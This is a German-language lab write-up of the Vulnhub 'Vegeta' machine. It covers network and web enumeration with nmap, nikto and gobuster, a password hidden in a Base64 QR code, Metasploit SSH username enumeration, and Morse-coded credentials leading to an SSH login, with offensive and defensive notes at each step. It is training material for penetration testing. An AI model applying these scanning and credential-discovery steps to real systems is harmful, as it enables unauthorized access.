Vegeta - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
curl
nikto
gobuster
CyberChef (extern)
ZXing (extern)
msfconsole
grep
tr
awk
sort
uniq
wget (impliziert)
strings
Morse Code Decoder (extern)
ssh
find
ss
nano
su

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Prozess beginnt mit einem ARP-Scan im lokalen Netzwerk, um aktive Geräte zu finden.
Bewertung: Der Scan identifiziert erfolgreich das Zielsystem `192.168.2.153`. Die MAC-Adresse `08:00:27:f9:a2:fe` deutet auf eine Oracle VirtualBox VM hin.
Empfehlung (Offensiv): Die IP `192.168.2.153` als Ziel für weitere Scans verwenden.
Empfehlung (Defensiv): Standard-Netzwerküberwachung implementieren.

 ARP-Scan
192.168.2.153	08:00:27:f9:a2:fe	PCS Systemtechnik GmbH
                    

Analyse: Ein Eintrag wird zur `/etc/hosts`-Datei des Angreifers hinzugefügt, um die IP `192.168.2.153` dem Hostnamen `vegeta.vln` zuzuordnen.
Bewertung: Dies erleichtert die Interaktion mit dem Ziel, insbesondere mit Webdiensten.
Empfehlung (Offensiv): Bewährte Praxis zur Vereinfachung von Befehlen und Analysen.
Empfehlung (Defensiv): Keine direkte Auswirkung auf das Zielsystem.

 /etc/hosts
 192.168.2.153   vegeta.vln
                    

Analyse: Ein Nmap-Scan wird mit verschiedenen Optionen durchgeführt: `-sS` (SYN Scan), `-sC` (Standard-Skripte), `-sV` (Versionserkennung), `-A` (Aggressiver Scan: OS, Version, Skripte, Traceroute), `-p-` (alle Ports), `$IP` (Variable für die Ziel-IP), `-Pn` (Kein Ping-Scan, Host als online annehmen), `--min-rate 5000` (Sehr hohe Paketrate für schnellen Scan). Die Ausgabe wird hier direkt mit `grep open` gefiltert.
Bewertung: Der gefilterte Scan zeigt schnell die offenen Ports: 22 (SSH, OpenSSH 7.9p1 auf Debian 10) und 80 (HTTP, Apache 2.4.38 auf Debian). Die hohe Scanrate (`--min-rate 5000`) kann zu Ungenauigkeiten führen oder IDS/IPS auslösen.
Empfehlung (Offensiv): Fokus auf SSH (Port 22) und HTTP (Port 80). Die schnelle Übersicht ist gut, aber der vollständige Scan (nächster Schritt) liefert mehr Details.
Empfehlung (Defensiv): IDS/IPS zur Erkennung und Blockierung von hochratigen Scans. Ports schließen, die nicht benötigt werden. Software aktuell halten.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))

Analyse: Derselbe Nmap-Scan wie zuvor wird nun ohne `grep` ausgeführt, um die vollständigen Ergebnisse zu sehen.
Bewertung: Der Scan bestätigt die offenen Ports 22 (SSH) und 80 (HTTP) mit ihren Versionen (OpenSSH 7.9p1, Apache 2.4.38). Beide Versionen sind nicht brandaktuell, aber auch nicht für sofort offensichtliche, weit verbreitete kritische Lücken bekannt (Stand Ende 2024 im Text). OS-Erkennung deutet auf Linux 4.x/5.x. Die SSH-Hostkeys werden angezeigt.
Empfehlung (Offensiv): Webserver auf Port 80 genauer untersuchen. SSH für Brute-Force oder spätere Logins nach Credential-Fund im Auge behalten.
Empfehlung (Defensiv): Software regelmäßig patchen. Unnötige Dienste deaktivieren.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-26 23:30 CET
Nmap scan report for vegeta.vln (192.168.2.153)
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 1f:31:30:67:3f:08:30:2e:6d:ae:e3:20:9e:bd:6b:ba (RSA)
|   256 7d:88:55:a8:6f:56:c8:05:a4:73:82:dc:d8:db:47:59 (ECDSA)
|_  256 cc:de:de:4e:84:a8:91:f5:1a:d6:d2:a6:2e:9e:1c:e0 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:F9:A2:FE (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms vegeta.vln (192.168.2.153)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.15 seconds

Web Enumeration

Analyse: `curl -Iv` wird verwendet, um eine HEAD-Anfrage (`-I`) an den Webserver zu senden und sowohl die Antwort-Header als auch detaillierte Verbindungsinformationen (`-v`) anzuzeigen.
Bewertung: Bestätigt, dass der Server auf Port 80 antwortet (HTTP/1.1 200 OK) und gibt Header wie Server-Version (Apache/2.4.38), Content-Type (text/html) und Last-Modified-Datum zurück. Keine ungewöhnlichen Header oder sofortigen Schwachstellen sichtbar.
Empfehlung (Offensiv): Standardmäßige Überprüfung, liefert keine neuen Angriffspunkte. Weiter mit tiefergehender Enumeration.
Empfehlung (Defensiv): Server-Tokens (Versionsinformationen) in der Apache-Konfiguration minimieren (`ServerTokens Prod`), um weniger Informationen preiszugeben.

┌──(root㉿CCat)-[~]
└─# curl -Iv http://$IP
*   Trying 192.168.2.153:80...
* Connected to 192.168.2.153 (192.168.2.153) port 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: 192.168.2.153
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Thu, 26 Dec 2024 22:31:02 GMT
< Server: Apache/2.4.38 (Debian)
< Last-Modified: Sun, 28 Jun 2020 14:58:59 GMT
< ETag: "77-5a9262e9632c0"
< Accept-Ranges: bytes
< Content-Length: 119
< Vary: Accept-Encoding
< Content-Type: text/html
<

* Connection #0 to host 192.168.2.153 left intact

Analyse: Ein Nikto-Scan (`nikto -h $IP`) wird gegen den Webserver ausgeführt.
Bewertung: Nikto findet mehrere interessante Punkte:

Empfehlung (Offensiv): Die Verzeichnisse mit aktiviertem Indexing durchsuchen. `/admin/` und `/login.php` genauer untersuchen. Den CVE-Hinweis ignorieren, es sei denn, es gibt weitere Anzeichen für PY-Membres.
Empfehlung (Defensiv): Directory Indexing deaktivieren (`Options -Indexes` in Apache-Konfig). Sicherheitsheader implementieren. Apache aktualisieren. Standard-Manual und README-Dateien entfernen oder Zugriff darauf beschränken.

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.153
+ Target Hostname:    192.168.2.153
+ Target Port:        80
+ Start Time:         2024-12-26 23:31:04 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 77, size: 5a9262e9632c0, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ /admin/: Directory indexing found.
+ /admin/: This might be interesting.
+ /img/: Directory indexing found.
+ /img/: This might be interesting.
+ /manual/: Web server manual found.
+ /manual/images/: Directory indexing found.
+ /image/: Directory indexing found.
+ /admin/admin.php?adminpy=1: PY-Membres 4.2 may allow administrator access. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1198
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /login.php: Admin login page/section found.
+ 8102 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time:           2024-12-26 23:31:41 (GMT1) (37 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Ein Gobuster-Scan (`gobuster dir`) wird gestartet, um Verzeichnisse und Dateien zu finden. Es verwendet eine umfangreiche Wortliste (`directory-list-2.3-medium.txt`) und sucht nach vielen verschiedenen Dateiendungen (`-x`). Statuscodes 503, 404, 403 werden ignoriert (`-b`).
Bewertung: Der Scan bestätigt die bereits von Nikto gefundenen Verzeichnisse (`/img/`, `/image/`, `/admin/`, `/manual/`) mit 301-Weiterleitungen und die leere `/login.php`. Zusätzlich findet er `/robots.txt`. Der letzte Eintrag `/find_me/` ist interessant, da er auf ein Verzeichnis hindeutet, das nicht durch die Wortliste, sondern vielleicht durch einen anderen Mechanismus (oder einen Folgefehler im Berichtstext) gefunden wurde.
Empfehlung (Offensiv): Den Inhalt von `/robots.txt` prüfen. Das Verzeichnis `/find_me/` untersuchen.
Empfehlung (Defensiv): Unnötige Dateien/Verzeichnisse entfernen. Directory Indexing deaktivieren. WAF zur Erkennung von Brute-Force-Scans.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.153
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   503,404,403
[+] User Agent:              gobuster/3.5
[+] Extensions:              [...]
[+] Expanded:                true
[+] Timeout:                 10s
[+] Use slash:               false
[+] Follow Redirect:         false
[+] Quiet:                   false
[+] No error:                true
[+] K:                       true
===============================================================
2024/12/26 23:32:01 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.153/index.html           (Status: 200) [Size: 119]
http://192.168.2.153/img                  (Status: 301) [Size: 312] [--> http://192.168.2.153/img/]
http://192.168.2.153/login.php            (Status: 200) [Size: 0]
http://192.168.2.153/image                (Status: 301) [Size: 314] [--> http://192.168.2.153/image/]
http://192.168.2.153/admin                (Status: 301) [Size: 314] [--> http://192.168.2.153/admin/]
http://192.168.2.153/manual               (Status: 301) [Size: 315] [--> http://192.168.2.153/manual/]
http://192.168.2.153/robots.txt           (Status: 200) [Size: 11]
http://192.168.2.153/find_me/             (Status: ???) [Size: ???]  

===============================================================
2024/12/26 23:35:15 Finished
===============================================

Analyse: Der Inhalt der `robots.txt` wird angezeigt.
Bewertung: Sie enthält nur einen `Disallow`-Eintrag für `/find_me`. Dies bestätigt das interessante Verzeichnis, das Gobuster am Ende aufgelistet hat.
Empfehlung (Offensiv): Das Verzeichnis `/find_me` aufrufen und untersuchen.
Empfehlung (Defensiv): `robots.txt` ist keine Sicherheitsmaßnahme. Sensible Pfade sollten anders geschützt werden.

http://192.168.2.153/robots.txt

*
/find_me

Analyse: Der Inhalt der Datei `find_me.html` im Verzeichnis `/find_me/` wird angezeigt. Sie enthält den Text "Vegeta-1.0" und einen sehr langen Base64-codierten String.
Bewertung: Der Base64-String ist der nächste Hinweis. Er muss dekodiert werden.
Empfehlung (Offensiv): Den Base64-String kopieren und mit einem Tool wie CyberChef dekodieren.
Empfehlung (Defensiv): Sensible Informationen nicht Base64-kodiert in öffentlich zugänglichen HTML-Dateien ablegen. Base64 bietet keine Sicherheit.

http://192.168.2.153/find_me/find_me.html

Vegeta-1.0


aVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQU1nQUFBRElDQVlBQUFDdFdLNmVBQUFIaGtsRVFWUjRuTzJad1k0c09RZ0U1LzkvK3UyMU5TdTdCd3JTaVN0QzhoR2M0SXBMTg4L0FGanljem9BZ0RNSUFyQUJRUUEySUFqQUJnUUIySUFnQUJzUUJHQURnZ0JzUUJDQURRZ0NzQUZCQURhRUJmbjUrUmwvbk9aTFAxeER6K3g5VTA1cWJoWjFkcjRzSFQyejkwMDVxYmxaMU5uNXNuVDB6TjQzNWFUbVpsRm41HZTMFRNzM1U1RtcHRGblowdlMwZlA3SDFUVG1wdUZuVjJ2aXdkUGJQM1RUbXB1Vm5VMmZteWRQVE0zamZscE9hdVhKUVRUamxkSHZ0YmxvNDZUWp5UjV4eUlvZ09CUGtqVGprUlJBZUMvQkdubkFpaUEwSCtpRk5PQk5HQklIL0VLU2VDNkVDUVArS1VFMEYwakJWRS9aSGM4SEhkUHZ1RWQwZVF3N003MWFtelRIaDNCRGs4dTFPZE9zdUVkMGVRdzdNNzFhbXpUSGgzQkRrHUxT2RPc3VFZDBlUXc3TTcxYW16VEhoM0JEazh1MU9kT3N1RWQwZVFJcWJNNENUcmhKMGhTQkZUWmtDUUdBaFN4SlFaRUNRR2doUXhaUVlFaVlFZ1JVeVpBVUZpSUVnUlUyWkFrQmdJVXNTVUdSQWtCb0lVMFRHZjAxN2UrdTRJVXNScEtSRGtXYzVsdjNEQlN4ZjFqZE5TSU1pem5NdCs0WUtYTHVvYnA2VkFrR2M1bC8zQ0JTWQxRGRPUzRFZ3ozSXUrNFVMWHJxb2I1eVdBa0dlNVZ6MkN4ZThkRkhmT0MwRmdqekx1ZXdYTGhCL2VGazZjcm84Mm9rc2IzMTNCQkgwdkNITFc5GRRUVE5YjhqeTFuZEhFRUhQRzdLDlkMFJSTkR6aGl4dmZYY0VFZlM4SWN0YjN4MUJCRDF2eVBMV2R5FZaTXJwV1BDYjY2YWNEQWdTbUkrNjJTY0RnZ1RtbzI3MnlZQWdnZm1vbTMweUlFaGdQdXBtbnd3SUVwaVB1dGtuQTRJRTVxTnU5c25nVNPMkFjcmxQN212SXd2Eg3YjVDd1NCVDlqbUx4QUVQbUdidjBBUStJUnQvZ0pCNEJPMitRc0VnVS9ZNWk4UUJENlIvUS9pMURPTFU4HBkV3FxY3lKSTBlenFubFBxMUNBSWdveXFVNE1nQ0RLcVRnMkNJTWlvT2pVSWdpQ2o2dFFnQ0lLTXFsTnpYQkExYnhZeWk5TU1UbStVeWwvZXNSZ0VpZU0wZzlNYnBmS1hkeXdHUWVJNHplRDBScW44NVIyTFFaQTRUak00dlZFcWYzbkhZaEFranRNTVRtK1V5bC9lc1JnRWllTTBnU1icGZLWGR5d0dRZUk0emVEMFJxbjhwYzJTUTcxWkFxZlpwd2pTVWJmc2w2cEtoRU1RajV3SUVzeWZxa3FFUXhDUG5BZ1N6SitxU29SREVJK2NDQkxNbjZwS2hFTVFqNXdJRXN5ZnFrcUVReENQbkFnU3pKK3FTb1JERUkrY0NCTE1uNm9xRHVleWpLNmVhcHdFNmNpWjdabkttS29xRHVleWpLNmVhaEFFUVI3VnFYdXFRUkFFZVZTbjdxa0dRUkRrVVoyNnB4b0VRWkJIZGVxZWFoQUVRUjdWcVh1cVFaQ0JncWcvNWpmZjEvRngzUzdXHE2cHdia1BRUkNFK3hDa01HZnFycW5CdVE5QkVJVDdFS1F3WitxdXFjRzVEMEVRaFBzUXBEQm42cTdLY0ZtY0hzYnBvM1RLMlpGbEFnaHlPQXVDZUlNZ2g3TWdpRGNJY2pnTGduaURJSWV6SUlnM0NISTRDNEo0Z3lDSHN5Q0lNldDM1A0d1RvL3RKTEo2TDhvc0NGSjBueG9FUVpDMkxCMzNxVUVRQkduTDBuR2ZHZ1JCa0xZc0hmZXBRUkFFYWN2U2NaGFCRUdRdGl3ZDk2bEJrSUdDZE5TcGUyYnZVMzk0Nm5mb3lPazAzN0pmdU1Ba2VGZlA3SDFPSDE3MlBuVk9wL21XL2NJRkpzRzdlbWJ2Yy9yd3N2ZXBjenJdCt3WExqQUozdFV6ZTUvVGg1ZTlUNTNUYWI1bHYzQ0JTZkN1bnRuN25ENjg3SDNxbkU3ekxmdUZDMHlDZC9YTTN1ZjA0V1h2VStkMG1tL1pMMXhnRXJ5clovWStwdzh2ZTU4NnA5Tjh5MzdoQXZHSGZzUHlPN0pNMmFkNlp3aGkrbWdkDkyd1R3UzU3RUU3WmtjUUJMbm1RVHRtUnhBRXVlWkJPMlpIRUFTNTVrRTdaa2NRQkxubVFUdG1SNUFYQ1hJNzZnKzJBN1dRSFZrNnhFcmxUMVZkRElKNFpFRVFVeERFSXd1Q21JSWdIbGtReEJRRThjaUNJS1lnaUVjV0JERUZRVHl5akJXa1kyRDFjV0xLQitUeXdYNERRUkFFUVlUM0ljaGhFS1FXQkVFUUJCSGVoeUNIUVpCYUVBUkJFRVI0SDRJY0JrRnFzUmJFaVk2Y04zek1UaCtzK28xUy9VNEg2QUpCRUFSQk5pQUlnaURJQmdSQkVBVFpnQ0FJZ2lBYkVBUkJFR1FEZ2lESUtFRnUrTGc2NW5QSzRuVFV1MTdlRlM0d2VqUjF6bzc1bkxJNEhmV3VsM2VGQzR3ZVRaMnpZejZuTEU1SHZldmxYZUVDbzBkVDUreVl6eW1MMDFIdmVubFh1TURvMGRRNU8rWnp5dUowMUx0ZTNoVXVNSG8wZGM2TytaeXlPQjMxcnBkM2hRdU1IazJkczJNK3B5eE9SNzNyNVYzaEFxTkhVK2QwMnN1VUxTnpJb2h4M1ExWnB1ZEVFT082RzdKTXo0a2d4blUzWkptZUUwR002MjdJTWowbmdoU3hKUVoxRDJuZkMvTEhKWExjQm9ZUVR4NlR2bGVsamtxbCtFME1JSjQ5Snp5dlN4elZDN0RhV0FFGVnNTVYdFo1cWhjaHRQQUNPTFJjHIzc3N4UnVReW5nUkhFbytlVTcyV1pvM0laVGdNamlFZlBLZC9MTWtmbE1weVk4bEVxSC9zSlRoDZnaFNBSUxVZ1NQT2kxQ0JJTFFqU3ZDZzFDRklMZ2pRdlNnMkMxSUlnell0U2d5QzFJRWp6b3RRZ1NDMElVckNvS1NjN245TmVzcHplZmNVTTJmbFMvU29EVERrZEMzYWF3U2tuZ2d3EhRdDJtc0VwSjRJTVBCMExkcHJCS1NlQ0REd2RDM2Fhd1NrbmdndzhIUXQybXNFcEo0SU1QQjBMZHByQktlZnJCQUY0RXdnQ3NBRkJBRFlnQ01BR0JBSFlnQ0FBR3hBRVlBT0NBR3hBRUlBTkNBS3dBVUVBTmlBSXdBWUVBZGp3SHlVRnd2VnIwS3ZGQUFBQUFFbEZUa1N1UW1DQw==

Analyse: Der Text verweist auf CyberChef zur Dekodierung des Base64-Strings und gibt an, dass das Ergebnis ein PNG-Bild (ein QR-Code) ist.
Bewertung: Dies ist ein kreativer Weg, um Informationen zu verstecken. Der QR-Code muss nun dekodiert werden.
Empfehlung (Offensiv): Das PNG aus dem dekodierten Base64-String extrahieren und mit einem QR-Code-Scanner oder einer Online-Bibliothek wie ZXing dekodieren.
Empfehlung (Defensiv): Diese Methode ist "Security through Obscurity" und bietet keinen echten Schutz.

https://cyberchef.org/#recipe=From_Base64
png - QR code

Analyse: Es wird auf die ZXing-Online-Dekodierseite verwiesen. Das Ergebnis der Dekodierung des QR-Codes wird als `Password : topshellv` angegeben.
Bewertung: Ein Passwort (`topshellv`) wurde gefunden. Es ist jedoch unklar, zu welchem Benutzer dieses Passwort gehört. Die nachfolgenden Schritte im Bericht verwenden dieses Passwort nicht, was darauf hindeutet, dass es sich um eine Sackgasse oder einen Troll handeln könnte.
Empfehlung (Offensiv): Das Passwort `topshellv` notieren, aber skeptisch bleiben und nach anderen Wegen suchen, falls es nicht funktioniert. Versuchen, es für naheliegende Benutzer wie `root`, `admin`, `vegeta` zu verwenden.
Empfehlung (Defensiv): Passwörter nicht in QR-Codes verstecken.

https://zxing.org/w/decode

Decode Succeeded
Raw text	

Password : topshellv

Raw bytes	

41 45 06 17 37 37 76 f7   26 42 03 a2 07 46 f7 07
36 86 56 c6 c7 60 ec 11   ec 11 ec 11 ec 11 ec 11
ec 11

Barcode format	QR_CODE
Parsed Result Type	TEXT
Parsed Result	

Password : topshellv



topshellv

Credential Discovery (Morse Code)

Analyse: Das Metasploit Framework (`msfconsole`) wird gestartet und das Modul `auxiliary/scanner/ssh/ssh_enumusers` geladen. Dieses Modul versucht, gültige Benutzernamen auf einem SSH-Server zu erraten.
Bewertung: Es wird eine große Wortliste (`xato-net-10-million-usernames.txt`) konfiguriert. Der Scan wird gestartet, schlägt aber fehl, da das Zielsystem Falschmeldungen ("false positives") zurückgibt, was die verwendete Technik (Malformed Packet) unzuverlässig macht.
Empfehlung (Offensiv): Andere Techniken zur Benutzerenumeration versuchen (z.B. Timing Attack im selben Modul, falls unterstützt, oder über andere Dienste wie SMTP VRFY, Finger etc., falls verfügbar). Manchmal hilft es, eine kleinere, gezieltere Wortliste zu verwenden.
Empfehlung (Defensiv): SSH-Server härten, um Benutzerenumeration zu erschweren (z.B. durch Patches oder Konfigurationsänderungen, die das Verhalten bei ungültigen Benutzern ändern). Rate-Limiting für SSH-Logins implementieren.

┌──(root㉿CCat)-[~]
└─# msfconsole -q -x "search ssh_enum;use 0"
Matching Modules
================

   #  Name                                     Disclosure Date  Rank    Check  Description
   -  ----                                     ---------------  ----    -----  -----------
   0  auxiliary/scanner/ssh/ssh_enumusers                       normal  No     SSH Username Enumeration
   1    \_ action: Malformed Packet                             .       .      Use a malformed packet
   2    \_ action: Timing Attack                                .       .      Use a timing attack
   3  auxiliary/scanner/ssh/ssh_enum_git_keys                   normal  No     Test SSH Github Access


Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/ssh/ssh_enum_git_keys

msf6 auxiliary(scanner/ssh/ssh_enumusers) > vi /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
[*] exec: vi /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

msf6 auxiliary(scanner/ssh/ssh_enumusers) > set rhost 192.168.2.153
rhost => 192.168.2.153
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set rport 22
rport => 22
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
USER_FILE => /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set THREADS 100
THREADS => 100
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run

[*] 192.168.2.153:22 - SSH - Using malformed packet technique
[*] 192.168.2.153:22 - SSH - Checking for false positives
[-] 192.168.2.153:22 - SSH - throws false positive results. Aborting.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Analyse: Es wird versucht, sich per SSH als Benutzer `vegeta` (passend zum VM-Namen) anzumelden. Dies geschieht aus der `msfconsole` heraus.
Bewertung: Der Versuch führt nur zur Passwortabfrage. Da kein Passwort bekannt ist, scheitert dieser Login-Versuch.
Empfehlung (Offensiv): Gezieltere Methoden zur Benutzernamen- und Passwortfindung anwenden.
Empfehlung (Defensiv): Keine Benutzernamen verwenden, die leicht zu erraten sind (wie der VM-Name). Starke Passwörter erzwingen.

msf6 auxiliary(scanner/ssh/ssh_enumusers) > ssh vegeta@192.168.2.153
[*] exec: ssh vegeta@192.168.2.153

Analyse: Der Pentester erstellt eine benutzerdefinierte Wortliste (`wort.txt`) basierend auf Charakter-Namen von einer Dragonball-Wiki-Seite. Mittels `curl` wird die Seite geholt, mit `grep` und `tr` werden die Namen extrahiert und mit `awk` und weiterem `tr` formatiert.
Bewertung: Dies ist ein cleverer Ansatz, um eine kontextbezogene Wortliste für diese spezielle VM zu erstellen. Solche thematischen Wortlisten sind oft effektiver als generische.
Empfehlung (Offensiv): Solche spezialisierten Wortlisten für Brute-Force-Angriffe (Benutzernamen, Passwörter, Verzeichnisse) verwenden.
Empfehlung (Defensiv): Benutzernamen und Passwörter sollten keinen Bezug zum Thema oder Namen des Systems haben.

Wörterliste erstellen : https://www.dragonballz.de/wiki/Dragon_Ball_Characters_List
[...] (Beispielliste)
┌──(root㉿CCat)-[~]
└─# curl -s https://www.dragonballz.de/wiki/Dragon_Ball_Characters_List | grep " td>" | tr " td>" "\n " | awk '{print $2}' | tr "\n/" " "| tr " " "\n" > wort.txt

Analyse: Die erstellte Wortliste (`wort2.txt`, vermutlich eine Weiterverarbeitung von `wort.txt`) wird gefiltert (`sort -u`, `grep -i '^b'`), um eindeutige Namen zu erhalten, die mit 'b' beginnen. Das Ergebnis wird in Kleinbuchstaben (`tr '[:upper:]' '[:lower:]'`) in die Datei `bulma.txt` geschrieben.
Bewertung: Die Liste wird weiter verfeinert, möglicherweise basierend auf einem Hinweis oder einer Vermutung, die auf "Bulma" abzielt.
Empfehlung (Offensiv): Die neue Liste `bulma.txt` für gezielte Enumeration verwenden.
Empfehlung (Defensiv): Nicht relevant für das Zielsystem.

┌──(root㉿CCat)-[~]
└─# cat wort2.txt | sort -u | grep -i '^b' | tr '[:upper:]' '[:lower:]' > bulma.txt

Analyse: Gobuster wird erneut ausgeführt, diesmal mit der spezialisierten Wortliste `bulma.txt`, um nach Verzeichnissen oder Dateien zu suchen, die mit 'b' beginnen und im Dragonball-Kontext relevant sein könnten.
Bewertung: Der Scan ist erfolgreich und findet das Verzeichnis `/bulma` (Status 301, Weiterleitung auf `/bulma/`).
Empfehlung (Offensiv): Das Verzeichnis `http://192.168.2.153/bulma/` untersuchen.
Empfehlung (Defensiv): Verzeichnisse entsprechend schützen und nicht nach erratbaren Mustern benennen.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://192.168.2.153" -w bulma.txt -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.5
[...]
===============================================================
2024/12/26 23:40:10 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.153/bulma                (Status: 301) [Size: 314] [--> http://192.168.2.153/bulma/]

===============================================================
2024/12/26 23:40:15 Finished
===============================================

Analyse: Das Verzeichnis `/bulma/` wird aufgerufen. Da Directory Indexing aktiviert ist, wird der Inhalt angezeigt.
Bewertung: Es enthält eine einzelne Datei: `hahahaha.wav`. Eine WAV-Audiodatei ist ein ungewöhnlicher Ort für Hinweise.
Empfehlung (Offensiv): Die Datei `hahahaha.wav` herunterladen und analysieren (anhören, mit `strings`, Steganographie-Tools, Audio-Analyse-Tools wie Audacity, Sonic Visualiser).
Empfehlung (Defensiv): Directory Indexing deaktivieren. Keine sensiblen oder für den Webserver irrelevanten Dateien im Webroot ablegen.

http://192.168.2.153/bulma/

Index of /bulma
[ICO]	Name	Last modified	Size	Description
[PARENTDIR]	Parent Directory	 	-
[SND]	hahahaha.wav	2020-06-28 18:19 	231K
Apache/2.4.38 (Debian) Server at 192.168.2.153 Port 80

Analyse: Das `strings`-Tool wird auf die (vermutlich heruntergeladene) `hahahaha.wav`-Datei angewendet, um nach lesbaren Zeichenketten mit mindestens 6 Zeichen Länge zu suchen (`-n 6`).
Bewertung: Außer dem Header "WAVEfmt" werden keine nützlichen Strings gefunden. Das deutet darauf hin, dass der Hinweis nicht als einfacher Text in der Datei versteckt ist.
Empfehlung (Offensiv): Andere Analysemethoden für die WAV-Datei anwenden, insbesondere Audio-Analyse (Morsecode, Spektrogramm).
Empfehlung (Defensiv): Nicht relevant.

┌──(root㉿CCat)-[~]
└─# strings /home/ccat/Downloads/hahahaha.wav -n 6
WAVEfmt

Analyse: Der Text verweist auf einen Online-Morsecode-Audio-Decoder und gibt das Ergebnis der Dekodierung der `hahahaha.wav`-Datei an: `USER : TRUNKS PASSWRD : US3R(S IN DLLARS SYMBL)`.
Bewertung: Dies ist der entscheidende Hinweis! Die WAV-Datei enthielt Morsecode, der die Zugangsdaten liefert. Der Benutzername ist `trunks`. Das Passwort wird umschrieben als "US3R" mit 'S' als Dollarzeichen, was zu `u$3r` interpretiert wird.
Empfehlung (Offensiv): Sich mit den Credentials `trunks`:`u$3r` per SSH (Port 22) auf dem Zielsystem anmelden.
Empfehlung (Defensiv): Keine Zugangsdaten in Audiodateien per Morsecode verstecken. Starke, nicht erratbare Passwörter verwenden.

https://morsecode.world/international/decoder/audio-decoder-adaptive.html

USER : TRUNKS PASSWRD : US3R(S IN DLLARS SYMBL)

Initial Access (SSH)

Analyse: Es wird versucht, sich per SSH als Benutzer `trunks` anzumelden. Das zuvor dekodierte Passwort `u$3r` wird verwendet.
Bewertung: Der Login ist erfolgreich! Der Pentester erhält eine Shell als Benutzer `trunks` auf dem Zielsystem "Vegeta". Dies ist der erfolgreiche Initial Access.
Empfehlung (Offensiv): Das System als Benutzer `trunks` enumerieren, insbesondere auf Möglichkeiten zur Privilegieneskalation prüfen.
Empfehlung (Defensiv): Starke, einzigartige Passwörter verwenden. SSH-Logins überwachen. Unnötige Benutzerkonten deaktivieren.

msf6 auxiliary(scanner/ssh/ssh_enumusers) > ssh trunks@192.168.2.153
